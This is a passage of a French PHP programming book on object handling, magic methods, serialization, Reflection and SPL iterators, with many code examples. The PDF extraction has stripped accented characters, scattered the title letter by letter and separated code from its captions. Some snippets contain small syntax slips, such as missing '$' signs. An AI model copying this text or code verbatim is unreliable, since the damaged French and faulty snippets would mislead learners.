m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
340
La gestion des objets et les oprateurs
Nous allons voir dans cette partie quelques subtilits bien matriser afin
de pleinement manipuler les objets PHP. PHP met disposition quel-
ques fonctions permettant de faire des tests sur ses objets : passons les
plus importantes en revue.
Rfrences et clonage
Contrairement tout le reste du langage, lorsquil sagit dobjets, PHP
suppose systmatiquement et implicitement des rfrences, voici un
exemple illustrant de ce principe :
Par dfaut, les types non-objet agissent par copie
Par dfaut, le type objet agit par rfrence
Que lon utilise une galit, ou que lon passe un objet une fonction ou
une mthode, il sagira bien de la mme instance mmoire.
Les tests dinstance que sont lgalit et lidentit le dmontrent.
Vrification de lgalit et identit de deux objets
$a = 0;
$b = $a;
$b++;
echo $b; // 1
echo $a; // 0
class ZF
{
public $attribut = 0;
}
$a = new ZF();
echo $a->attribut; // 0
$b = $a;
$b->attribut = 2;
echo $b->attribut; // 2
echo $a->attribut; // 2 aussi
class ZF
{
public $attribut = 0;
}
$a = new ZF();
$b = new ZF();
PHP Rgle dor
En PHP 5, par dfaut, tous les passages dobjets
(dune variable lautre, dans une fonction...) se
font par rfrence.
SAVOIR galit, identit
Lgalit vrifie que deux objets sont issus de la
mme classe et ont, un mme moment, les
mmes valeurs dattributs.
Lidentit vrifie que deux objets reprsentent
la mme instance mmoire.
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
341
Le clonage est laction de dupliquer un objet un moment donn. On le
ddouble, il sagit donc la fin du clonage de deux instances diffrentes :
Le clonage
Oprateurs et fonctions relatives aux objets
Loprateur instanceof permet de vrifier la fois que :
un objet est une instance dune classe donne ;
un objet est une instance dune classe fille dune classe donne ;
un objet est une instance dune classe implmentant une interface
donne.
Utilisation de loprateur instanceof
$c = $a;
var_dump($a == $b) // true
var_dump($a === $b) // false
$b->attribut = 8;
var_dump($a == $b) // false cette fois
var_dump($a == $c) // true
$a->attribut = 4;
var_dump($a === $c) // true
SAVOIR Clone
tant donn quavec les objets, le signe gal ne
duplique pas lobjet, mais en cre une autre rf-
rence, clone permet simplement cette duplication.
Sur dautres types PHP, le signe gal sen charge.
class ZF
{
public $attribut = 0;
}
$a = new ZF();
$b = $a;
$b->attribut = 3;
// $a et $b sont toujours identiques, ce sont les mmes instances
var_dump($a === $b); // true : mmes instances
$c = clone $b;
var_dump($c === $b); // false : 2 instances diffrentes
var_dump($c == $b); // true : 2 instances de la mme classe ayant les mmes valeurs dattributs
interface Interrogeable
{
function interroger();
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
342
En reprenant lexemple ci-dessus, voici quelques fonctions PHP rela-
tives aux objets qui peuvent savrer trs utiles :
Exemples de diffrentes fonctions PHP concernant les objets
class Personne implements Interrogeable
{
protected $_prenom;
protected $_adresse;
public function __construct($prenom, $adresse)
{
$this->_prenom = $prenom;
$this->_adresse = $adresse;
}
public function interroger()
{
return 'Etre ou ne pas tre, telle est la question';
}
}
class Femme extends Personne
{
public $sexe = 'Fminin';
}
$uneFemme = new Femme('Sophie', 'Paris');
$unePersonne = new Personne('inconnu', 'France');
var_dump(uneFemme instanceof Femme); // true
var_dump(uneFemme instanceof Personne); // true
var_dump(uneFemme instanceof Interrogeable); // true
var_dump(unePersonne instanceof Femme); // false
var_dump(unePersonne instanceof Interrogeable); // true
$f = new Femme('Sophie', 'Paris');
echo get_class($f); // Femme
echo get_parent_class($f); // Personne
var_dump(get_object_vars($f));
/*array(1) {
["sexe"]=>
string(7) "Fminin"
}*/
var_dump(is_subclass_of($f, Personne)); // true
var_dump(class_implements($f));
/*Array(1) { ["Interrogeable"]=>
string(13) "Interrogeable"*/
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
343
Remarquez quil y a un rel contexte : tout attribut qui nest pas public,
nexiste pas pour lobjet, sauf dans la classe elle-mme. Voyez plutt :
Le contexte objet
Aussi, les fonctions get_declared_classes() et get_declared_interfaces(),
ayant toutes deux des noms explicites, peuvent tre utiles, notamment
pour prendre connaissance des nombreuses classes et interfaces dont
PHP dispose nativement.
Typage dargument
En PHP, il nexiste pas de typage fort. Toute variable peut prendre
nimporte quel type de valeur, nimporte quel moment ou presque. Si
ce choix de typage faible peut savrer extrmement pratique, il faut tout
de mme bien connatre les rgles de transtypage internes de PHP.
De plus, labsence de typage fort peut reprsenter un inconvnient lors
de la programmation de structures de donnes comme les classes qui,
elles, aimeraient bien bnficier dune telle fonctionnalit.
Qu cela ne tienne, PHP bnficie du typage dargument. Lorsquune
fonction ou mthode doit prendre en argument un objet dune certaine
classe, ou dune classe implmentant une certaine interface, il est pos-
sible de le dclarer :
Dclaration de typage dargument
class Bureau
{
private $_notPublic;

public function hasProperty($prop)
{
return property_exists($this, $prop);
}
}
$b = new Bureau();
var_dump(property_exists($b, '_notPublic')); // false
var_dump($b->hasProperty('_notPublic')); // true
class Auteur
{
protected static $_dbInstance;

public function getLivres($id)
{
$id = (int)$id;
$sql = "SELECT * FROM livres WHERE idauteur = $id";
return self::$_dbInstance->query($sql);
}
REMARQUE Visibilit
Quelle que soit sa visibilit,
method_exists() retournera true si la
mthode existe bien.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
344
Cette classe sert crer des objets Auteur. La classe possde un attribut
(un attribut de classe, statique) reprsentant un objet qui sert requter
une base de donnes. Sa mthode setDbInstance() accepte un para-
mtre typ. Celui-ci doit tre, au choix :
un objet de la classe PDO ;
un objet dune classe qui hrite de PDO ;
un objet dont la classe implmenterait une interface PDO, si elle
avait exist.
On comprend rapidement lintrt essentiel dun tel typage. Il est obli-
gatoire, dans cet exemple, que lobjet de base de donnes quutilise la
classe Auteur possde une mthode query(), tant donn que nous luti-
lisons.
Afin dviter un test, par exemple if (method_exists...)) ou if
($argument instanceof MaClasse), on a trs souvent recours au typage
dargument.
Les mthodes magiques
Nous avons dj pris connaissance de quelques mthodes magiques de
PHP. Celles-ci ont la particularit de commencer par deux caractres de
soulignement : __construct(), __destruct(). Ces mthodes sont dites
magiques, car on ne les appelle pas explicitement. Cest PHP qui va les
appeler lorsquun vnement particulier intervient dans le code.
PHP dispose dautres mthodes magiques qui permettent une utilisation
avance du langage. Il devient alors possible de crer des structures tout
fait originales, et combien pratiques. Sans ces mthodes magiques,
les frameworks, comme le Zend Framework nauraient pas une telle sou-
plesse dutilisation.
Attention, cependant : comme toute la programmation oriente objet,
ces mthodes doivent tre utilises bon escient. Une mauvaise utilisa-
tion entranera le contraire de leffet recherch : un code plus complexe,
moins flexible, et difficile dboguer.
Il faut aussi noter que lutilisation des mthodes magiques dcrites ci-
aprs a un impact sur les performances du programme. Il faut donc les
utiliser lorsquelles apportent une relle valeur ajoute au programme, et
non uniquement pour se simplifier la vie.

public static function setDbInstance(PDO $instance)
{
self::$_dbInstance = $instance;
}
}
PHP Limites du typage
Le typage dargument ne fonctionne que pour les
objets et les tableaux (array). Il nest pas pos-
sible dexiger un autre type, comme int ou
string par exemple, mme si ce sujet est en
dbat pour les futures versions de PHP.
NOTER Non-respect du typage
Dans le cas o lon ne respecterait pas le typage
dargument, PHP renverrait une erreur E_FATAL.
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
345
__get() et __set()
__get() et __set() sont appeles automatiquement lorsquon accde
un attribut inexistant dans la classe, respectivement en lecture et en cri-
ture. Le contexte de visibilit est bien sr pris en considration. Si une
classe dclare un attribut priv, celui-ci apparatra comme inexistant aux
yeux de lobjet (externe la classe donc).
Une classe utilisant __get() et __set() :
Ce code affiche :
Impossible daffecter la valeur bar foo, cet attribut nexiste
pas pour cet objet.
lattribut bar nexiste pas pour cet objet.
Nous allons donner un autre exemple de ce quil ne faut, cette fois-ci, pas
faire. Nous allons court-circuiter la visibilit et rendre tous les attributs
dune classe visibles lextrieur, mme si ceux-ci ne sont pas publics :
Utilisation dangereuse des mthodes magiques
class ZFBook
{
public function __get($prop)
{
echo "lattribut $prop nexiste pas pour cet objet \n";
}

public function __set($prop, $value)
{
echo "Impossible daffecter la valeur $value $prop,
cet attribut nexiste pas pour cet objet. \n";
}
}
$livre = new ZFBook();
$livre->foo = 'bar';
$a = array($livre->bar);
class ZFBook
{
public $attribut1 = 1;
protected $_attribut2 = 2;
private $_attribut3 = 3;


public function __get($prop)
{
if (!property_exists($this, $prop)) {
throw new Exception("La proprit $prop nexiste pas");
}
return $this->$prop;
}
REMARQUE Visibilit et static
__get() et __set() ne fonctionnent pas pour
les attributs statiques et doivent tre dclares
publiques partir de PHP 5.3.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
346
En plus de casser rellement le principe de visibilit de la programmation
oriente objet, cette classe sera mal analyse par les logiciels IDE (envi-
ronnements de dveloppement intgrs). En effet, ceux-ci, proposent dans
leur autocompltion tous les attributs publics, sur un objet (ce qui est tout
fait normal et recherch). Or, ce nest pas parce que le code de la classe
donne accs aux attributs privs et protgs de celle-ci via des mthodes
magiques, que le logiciel IDE va pour autant reflter ce comportement.
__call()
Cette mthode magique ragit exactement de la mme manire que ses
surs __get()/__set(), si ce nest quelle agit lors de lutilisation dune
mthode inexistante sur un objet.
Exemple dcriture de setters et getters gnriques avec __call()
public function __set($prop,$value)
{
if (!property_exists($this, $prop)) {
throw new Exception("La proprit $prop nexiste pas");
}
$this->$prop = $value;
}
}
$livre = new ZFBook();
$livre->attribut1 = 'texte 1';
echo $livre->_attribut2; // 2
$livre->_attribut3 = 'texte 3';
echo $livre->_attribut3; // texte 3
echo $livre->jenexistepas; // fatal error : uncaught Exception
class ZFBook
{
public $attribut1 = 1;
protected $_attribut2 = 2;
private $_attribut3 = 3;


public function __call($method, $args)
{
if (property_exists($this, $attr = substr($method, 3))) {
if($access = substr($method, 0, 3) == 'set') {
return $this->$attr = $args[0];
}
if($access = substr($method, 0, 3) == 'get') {
return $this->$attr;
}
}
ZEND FRAMEWORK
Utilisation des mthodes magiques
La classe Zend_Db_Table_Row, qui donne
accs un enregistrement dune table, utilise ces
deux mthodes magiques pour permettre
daccder aux colonnes de lenregistrement dans
la table, sous forme dattributs de lobjet.
REMARQUE Visibilit et static
Comme pour __get() et __set(),
__call() ne fonctionne pas sur les mthodes
statiques et doit tre dclare publique partir de
PHP 5.3.
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
347
La mthode __call() intercepte tout appel dun objet une mthode
non existante dans la classe. Elle prend deux paramtres : le premier est
le nom de la mthode demande, le deuxime est un tableau qui repr-
sente tous les paramtres passs la mthode inexistante.
Nous analysons les trois premires lettres de la mthode appele. Sil
sagit de get ou de set, alors nous lisons ou crivons dans lattribut en
question. Attention, ici encore nous ne faisons pas de vrification de
visibilit. Si lattribut en question est priv, il sera accessible.
__isset(), __unset()
Dans la ligne, ces deux mthodes vont intercepter lutilisation des fonc-
tions PHP du mme nom sur un attribut de classe.
Sans leur prsence, un code isset($obj->attribut) agirait de manire
normale : si lattribut en question existe et est non nul, true est retourn,
sinon cest false. Avec les mthodes magiques, il est possible dinter-
cepter lappel de ces fonctions et les rerouter ailleurs, sur un tableau
interne par exemple.
Interception des fonctions PHP isset() et unset(), sur un objet
throw new Exception("La mthode $method nexiste pas");
}
}
$livre = new ZFBook();
$livre->setattribut1('une valeur');
echo $livre->getattribut1(); // une valeur
class Logiciel
{
protected $_data = array();

public function __set($variable, $value)
{
$this->_data[$variable] = $value;
}

public function __get($variable)
{
return $this->_data[$variable];
}

public function __isset($name)
{
return isset($this->_data[$name]);
}

ZEND FRAMEWORK Utilisation de __call()
__call() est trs utilise dans Zend Fra-
mework. Par exemple la classe
Zend_Db_Table_Row permet, sur ses objets,
lappel des mthodes non existantes, mais inter-
ceptes par __call(), comme par exemple
find<class>Via<class>().
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
348
__clone()
Cette mthode est appele automatiquement lorsquon clone un objet.
Elle peut alors effectuer des modifications sur lobjet clon avant de le
retourner :
Utilisation de __clone()
De la mme manire, il est possible dinterdire le clonage dun objet,
tout simplement en passant la mthode __clone() en visibilit non
publique :
public function __unset($prop)
{
unset($this->_data[$prop]);
}
}
$soft = new Logiciel();
$soft->valeur1 = 'valeur1';
var_dump(isset($soft->valeur1)); // true
unset($soft->valeur1);
var_dump(isset($soft->valeur1)); // false
class Voiture
{
protected $_serialNo;

public function __construct($num)
{
$this->_serialNo = (int)$num;
}

public function __clone()
{
$this->_serialNo++;
}

public function getSerialNumber()
{
return $this->_serialNo;
}
}
$v1 = new Voiture(123);
$v2 = clone $v1;
echo $v1->getSerialNumber(); // 123
echo $v2->getSerialNumber(); // 124
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
349
Interdire le clonage
__toString()
La mthode magique __toString() est appele automatiquement
lorsquon transforme un objet en chane de caractres.
Exemple de transformation dun objet en chane
__toString() est souvent utilise. Par exemple, la classe Exception uti-
lise une telle mthode permettant dafficher lobjet dexception directe-
ment (il renvoie alors toutes ses informations).
class Voiture
{
protected $_serialNo;

protected function __clone()
{}
}
$v = new Voiture;
$v2 = clone $v; // fatal error
class Personne
{
private $_nom;
private $_prenom;

public function __construct($n, $p)
{
$this->_nom = $n;
$this->_prenom = $p;
}

public function __toString()
{
return $this->_nom . ' ' . $this->_prenom;
}
}
$p = new Personne('Pauli', 'Julien');
echo $p; // affiche Pauli Julien
// ou encore
printf("Vous avez le bonjour de %s", $p);
// ou bien
$coords = (string) $p;
REMARQUE Comportement de __toString()
Avant PHP 5.2, il tait possible de transformer un
objet en chane, mme si celui-ci ne possdait pas
de mthode __toString(). Il retournait alors
un identifiant dobjet. a nest dsormais plus pos-
sible (erreur E_FATAL).
ZEND FRAMEWORK Utilisation de __toString()
Les objets Zend_Db_Select utilisent
__toString() afin dafficher la requte quils
encapsulent.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
350
Quelques notes :
un objet ne peut jamais tre converti en entier ;
la mthode magique __toString() doit retourner obligatoirement
une chane de caractres (ce qui est logique) ;
il nest pas possible denvoyer des exceptions depuis la mthode
__toString().
__sleep(), __wakeup()
La srialisation est le fait de transformer un type composite (array,
object) en type scalaire (string, int, float...), souvent une chane de
caractres. Ce processus est enclench lors de lappel la fonction
serialize() de PHP, ou lest automatiquement lors du passage dun
objet (ou tableau) en session.
Cependant, le type spcial ressource de PHP ne peut tre transform en
chane, car il sagit dun type reprsentant un lien physique entre PHP et
un systme sous-jacent. Par exemple, une ressource reprsentant un
fichier, telle que retourne par la fonction fopen(), ou encore une con-
nexion une base de donnes.
Que se passe-t-il lorsquun objet, dont un attribut est de type ressource,
est srialis ? PHP va perdre la valeur de cet attribut. En voici la
dmonstration :
Srialisation dun objet contenant une ressource
class Book
{
protected $_stock;
protected $_nom;
private $_log;

public function __construct($nom, $stock)
{
$this->_stock = $stock;
$this->_nom = $nom;
$this->_log = fopen('log','a+');
}

public function vendre($nbre)
{
$nbre = abs((int)$nbre);
$this->_stock -= $nbre;
$this->_log("vente de $nbre exemplaires".PHP_EOL);
}

private function _log($message)
{
fwrite($this->_log, $message);
}
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
351
Vous voyez que, concernant lobjet $x, lattribut priv _log ne contient
plus la ressource, mais un entier dont la valeur est zro. Ce comporte-
ment est exactement le mme avec les sessions : lobjet $b aurait pu tre
mis en session, puis restaur dans une page annexe en un objet dans $x.
Heureusement, les mthodes magiques __sleep() et __wakeup(), appe-
les respectivement pour la srialisation et la dsrialisation dun objet,
vont nous permettre dagir sur ces deux vnements :
Srialisation dun objet contenant une ressource et la grant correctement
}
$b = new Book('Zend Framework', 200);
$b->vendre(10);
$serialized = serialize($b);
$x = unserialize($serialized);
var_dump($b);
var_dump($x);
// ceci affiche :
object(Book)#1 (3) { ["_stock:protected"]=> int(190)
["_nom:protected"]=> string(13) "ZendFramework"
["_log:private"]=> resource(3) of type (stream) }
object(Book)#2 (3) { ["_stock:protected"]=> int(190)
["_nom:protected"]=> string(13) "ZendFramework"
["_log:private"]=> int(0) }
class Book
{
protected $_stock;
protected $_nom;
private $_log;

public function __construct($nom, $stock)
{
$this->_stock = $stock;
$this->_nom = $nom;
$this->_log = fopen('log','a+');
}

public function vendre($nbre)
{
$nbre = abs((int)$nbre);
$this->_stock -= $nbre;
$this->_log("vente de $nbre exemplaires".PHP_EOL);
}

private function _log($message)
{
fwrite($this->_log,$message);
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
352
__sleep() doit retourner obligatoirement un tableau et celui-ci doit con-
tenir des valeurs dcrivant les attributs de lobjet, qui seront effective-
ment srialiss. Ici, on slectionne tout ce qui nest pas ressource (ceci
aurait pu tre fait automatiquement au moyen dune boucle et de la
fonction PHP get_object_vars()). Notez quil aurait t possible
dpurer un peu plus les attributs que lobjet doit garder lors de sa
transformation en chane de caractres.
__wakeup() est appele la dsrialisation de lobjet (ou lors de sa sortie de
session, soit lors de lappel la fonction PHP session_start()). Elle se
charge simplement de rcrer la ressource ncessaire la bonne vie de lobjet.
Linterface de Rflexion
Rarement utilise, car peu connue ou pas toujours utile, linterface de
Rflexion est pourtant dune importance capitale. Mais quest-ce donc ?
La rflexion est compose dun ensemble dobjets et de classes de PHP,
qui permettent lintrospection du moteur dexcution de PHP, le Zend
Engine, et particulirement des objets. Il devient possible de regarder
lintrieur dune partie du modle objet et fonctionnel de PHP.
public function __sleep()
{
return array('_stock', '_nom');
}

public function __wakeup()
{
$this->_log = fopen('log', 'a+');
}
}
$b = new Book('Zend Framework', 200);
$b->vendre(10);
$serialized = serialize($b);
$x = unserialize($serialized);
var_dump($b);
var_dump($x);
// ceci affiche :
object(Book)#1 (3) { ["_stock:protected"]=> int(190)
["_nom:protected"]=> string(13) "ZendFramework"
["_log:private"]=> resource(3) of type (stream) }
object(Book)#2 (3) { ["_stock:protected"]=> int(190)
["_nom:protected"]=> string(13) "ZendFramework"
["_log:private"]=> resource(4) of type (stream) }
ATTENTION Construction et dsrialisation
Dsrialiser un objet nappelle pas son cons-
tructeur. Un constructeur nest appel que par le
mot-cl new.
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
353
Cette API peut rendre de grands services, elle est la base des projets de
documentation de code (DocBook, PHPDocumentor), ainsi que de cer-
taines structures trs souples comme les objets Mock utiliss pour les
tests unitaires.
LAPI de rflexion permet, par exemple, de rpondre ces questions :
Quelles mthodes sont disponibles pour cette classe/cet objet ?
Combien de paramtres prend cette fonction ?
Quels sont les paramtres facultatifs de cette mthode ?
Combien dattributs privs comporte cet objet ?
Comment extraire la documentation de cette classe ?
Trs pratique, si vous voulez la documentation de nimporte quelle
extension PHP, classe, mthode, etc., la mthode statique export() de la
classe Reflection est l :
PHP Intgration de la rflexion
Reflection est une extension PHP propose
par dfaut lors de linstallation ou dans les paque-
tages. Comme elle devient indispensable la cons-
truction de frameworks, ou mme pour certaines
autres extensions PHP, il ne sera bientt plus pos-
sible de la supprimer de PHP via la compilation.
Figure C9
Diagramme de classes
de lextension Reflection
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
354
Export de tout larbre dune extension
Il est possible dafficher tout ce qui implmente linterface Reflector,
donc tout objet des classes Reflection*. Notez que pour crer ce dia-
gramme de classes, nous avons simplement demand un export de
lextension Reflection elle-mme.
Zend Framework utilise la rflexion certains endroits, voyons la
mthode Zend_Controller_Front::resetInstance() :
Retour des valeurs par dfaut de tous les attributs dune classe
Reflection::export(new ReflectionExtension('PDO'));
// ceci affiche (tronqu) :
Extension [ <persistent> extension #36 PDO version 1.0.4dev ] {
- Dependencies {
Dependency [ spl (Required) ]
}
- Functions {
Function [ <internal:PDO> function pdo_drivers ] {
}
}
- Classes [4] {
Class [ <internal:PDO> class PDOException extends RuntimeException ] {
- Constants [0] {
}
- Static properties [0] {
}
- Static methods [0] {
}
- Properties [5] {
Property [ <default> protected $message ]
Property [ <default> protected $code ]
Property [ <default> protected $file ]
Property [ <default> protected $line ]
Property [ <default> public $errorInfo ]
}
- Methods [9] {
Method [ <internal, inherits Exception> final private method __clone ] {
}
(...)
public function resetInstance()
{
$reflection = new ReflectionObject($this);
foreach ($reflection->getProperties() as $property) {
$name = $property->getName();
switch ($name) {
case '_instance':
break;
case '_controllerDir':
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
355
De la mme manire, Zend_Log utilise lAPI de rflexion pour insrer
toutes ses constantes dans un attribut de type tableau :
Utilisation de la Rflexion par Zend_Log
Nous pouvons aussi reprendre lexemple de la mthode magique
__call(). Dans cet exemple, nous interceptons les mthodes dont les
signatures sont set<attr>() et get<attr>() afin de les utiliser sur les
attributs de la classe. Si nous avions voulu bloquer les attributs privs,
nous aurions agi comme ceci :
Exemple de setters et getters avec __call() pour les attributs non privs
case '_invokeParams':
$this->{$name} = array();
break;
case '_plugins':
$this->{$name} = new Zend_Controller_Plugin_Broker();
break;
case '_throwExceptions':
case '_returnResponse':
$this->{$name} = false;
break;
case '_moduleControllerDirectoryName':
$this->{$name} = 'controllers';
break;
default:
$this->{$name} = null;
break;
}
}
}
public function __construct(Zend_Log_Writer_Abstract $writer = null)
{
$r = new ReflectionClass($this);
$this->_priorities = array_flip($r->getConstants());
// ...
}
class ZFBook
{
public $attribut1 = 1;
protected $_attribut2 = 2;
private $_attribut3 = 3;


public function __call($method, $args)
{
if (property_exists($this, $attr = substr($method, 3))) {
$attribut = new ReflectionProperty($this, $attr);
if ($attribut->isPrivate()) {
throw new Exception("vous ne pouvez modifier un attribut priv");
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
356
Grce certaines mthodes exotiques comme
ReflectionClass::newInstance() ou ReflectionMethod::invoke(), il
est possible dutiliser des objets de manire parallle la syntaxe
PHP, et ainsi de crer des objets Mock, cest--dire des objets qui vont
simuler le comportement dautres objets, ou qui vont tre laddition vir-
tuelle des fonctionnalits de plusieurs objets.
Associe aux fonctions PHP sur les classes telles que
get_declared_classes(), la classe Reflection permet de construire des
systmes orients objet trs pousss et trs structurs tels que des plugins
polymorphes.
SPL : Standard PHP Library
La SPL est une extension qui, comme la rflexion, est active par dfaut
dans PHP (on ne pourra dailleurs plus la dsactiver prochainement). Elle
se compose dun ensemble de classes et dinterfaces crites en C dans Zend
Engine 2, pour la plupart, et donc disponibles dans PHP nativement. Elles
sont trs performantes. Cette extension donne accs des design patterns
qui sont souvent trs utiles, si bien quessayer la SPL, cest ladopter.
Comme la SPL est intgre au Zend Engine 2, elle va changer le com-
portement de structures PHP dont on a lhabitude, notamment
foreach(), count() ou encore la manipulation des tableaux.
foreach() va ragir linterface Traversable. Cette interface tant
interne au moteur de PHP, il faudra utiliser les interfaces Iterator ou
IteratorAggregate pour faire ragir foreach() de manire particulire
lorsquil est utilis sur un objet.
PHP propose des fonctions relatives aux classes et interfaces de la SPL :
spl_classes() et get_declared_interfaces() vous en donneront un
aperu.
}
if($access = substr($method, 0, 3) == 'set') {
return $this->$attr = $args[0];
}
if($access = substr($method, 0, 3) == 'get') {
return $this->$attr;
}
}
throw new Exception("La mthode $method nexiste pas");
}
}
NOTER Rflexion en lecture seule
Il nest pas possible de crer de lintelligence artifi-
cielle, car lAPI de rflexion ne peut quutiliser le
modle objet en lecture. Elle ne peut pas, par
exemple, permettre un objet dapprendre et
de sinjecter lui-mme des mthodes, ou dauto-
modifier son comportement.
RENVOI Design patterns
Les designs patterns sont expliqus dans
lannexe D.
RESSOURCE Informations sur la SPL
Pour de plus amples informations sur la SPL,
visitez la documentation de PHP, ou le site :
Bhttp://www.php.net/~helly/php/ext/spl/
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
357
Iterator
Litrateur est un design pattern. Tout ce qui est traversable (que lon
peut traverser, parcourir) peut, en implmentant linterface Iterator,
dfinir la manire dont il va tre parcouru. On peut aussi dire que tout
objet peut accder lensemble des lments quil contient.
En prenant un peu de recul, on pourra remarquer que presque tout est
traversable : un livre est parcouru en accdant ses chapitres, qui eux-
mmes se composent de pages. Ces pages sont traversables : elles con-
tiennent des paragraphes, composs leur tour de phrases, qui sont des
suites de lettres dcrites par des suites doctets... Linterface Iterator
dfinit les mthodes de litrateur de plus bas niveau. Dautres classes
adaptes des structures particulires implmentent cette interface.
Principe fondamental de litrateur
Cest exactement la manire dont agit la boucle foreach, en interne.
Lorsquon lutilise sur des tableaux PHP (array), ceux-ci utilisent en
interne litrateur, et on ne sen rend pas compte. Du moins pas tout
fait, car PHP nous donne accs cet itrateur interne, via les fonctions
next(), key(), current(), prev().
Applique sur des objets, litration au travers dune structure foreach() fait
apparatre les attributs publics de lobjet parcouru. Cest le comportement
par dfaut, que lon peut changer en implmentant linterface Iterator.
Une phrase se compose dun enchanement de lettres
$iterator->rewind();
while ($iterator->valid()) {
echo $iterator->current();
$iterator->next();
}
class Phrase implements Iterator
{
protected $_word;
protected $_position;
private $_step;

public function __construct($string, $step = 1)
{
$this->_word = $string;
$this->setStep($step);
}
public function setStep($step)
{
$this->_step = (int) $step;
}
T Itrateur
Un itrateur est un objet qui permet de parcourir
tous les lments contenus dans un autre objet, le
plus souvent un conteneur (liste, arbre, etc). (Wiki-
pdia, 2008).
Figure C10
Linterface Iterator
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
358
Le principe est ici associ un objet Phrase. Il nous vient rapidement en
tte des structures un peu plus frquentes : un tableau, un dossier, ou le
DOM (Document Object Model) pour du XML.
Heureusement, il existe dj des itrateurs pour ces structures-l et tous
implmentent Iterator : ArrayIterator, DirectoryIterator,
SimpleXmlIterator.
RecursiveIterator
Un des problmes courants concernant les itrateurs est la rcursivit.
Un dossier comporte plusieurs fichiers, mais peut aussi comporter des
dossiers. Un tableau comporte des lments, mais on peut nicher un
tableau dans un autre, etc.
public function rewind()
{
$this->_position = 0;
}
public function next()
{
$this->_position += $this->_step;
}
public function valid()
{
return (isset($this->_word[$this->_position]));
}
public function current()
{
return $this->_word[$this->_position];
}
public function key()
{
return $this->_position;
}
}
$phrase = new Phrase("Zend Framework");
foreach ($phrase as $lettre) {
echo $lettre; // Zend Framework
}
$phrase->setStep(2);
foreach ($phrase as $lettre) {
echo $lettre; // Zn rmwr
}
ATTENTION Boucles infinies
Attention aux boucles infinies : si la mthode
valid() retourne toujours true, la boucle
devient sans fin...
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
359
Les itrateurs rcursifs sont pour cela bien pratiques, car une seule
boucle foreach() va permettre de sortir tous les enfants, et en plus,
rangs dans un certain ordre que lon peut choisir.
Itration rcursive sur des tableaux
La classe RecursiveIteratorIterator permet de manipuler un itrateur
rcursif, comme avec RecursiveArrayIterator. Lorsquun enfant est
prsent, le comportement par dfaut est alors dentrer dedans. Ce com-
portement est modifiable.
Itration rcursive sur des nuds XML
Itration rcursive dun dossier
$tab = array('a', 'b', array('c', 'd'));
$iterator = new RecursiveArrayIterator($tab);
foreach(new RecursiveIteratorIterator($iterator) as $element) {
echo $element; // abcd
}
$xml =<<<EOF
<doc>
<a>hello</a>
<a>
<b>world</b>
<c />
<d>
<e>coucou</e>
</d>
</a>
</doc>
EOF;
$sxml = new SimpleXMLIterator($xml);
$iterator = new RecursiveIteratorIterator($sxml);
foreach ($iterator AS $k=>$v)
{
echo $k . '=>' . $v . '<br>';
}
// ceci affiche :
a=>hello
b=>world
c=>
e=>coucou
Figure C11
Linterface RecursiveIterator
$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('chemin/a/lister'));
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
360
Autres itrateurs
La SPL pouvant faire lobjet dun ouvrage part entire (elle comporte
des dizaines de classes, majoritairement des itrateurs), nous allons sim-
plement montrer quelques cas qui vous donneront certainement envie de
fouiller un peu plus dedans.
ParentIterator ne ressort que les enfants possdant un pre
FilterIterator permet de filtrer les rsultats dun itrateur
foreach ($it as $element)
{
if ($element->current()->isDir() === false)
{
echo $element->current()->getFileName() . '<br>';
}
}
$xml =<<<EOF
<doc>
<a>hello</a>
<a>
<b>world</b>
<c />
<d>
<e>coucou</e>
</d>
</a>
</doc>
EOF;
$sxml = new SimpleXMLIterator($xml);
$it = new ParentIterator($sxml);
foreach ($it as $key=>$value) {
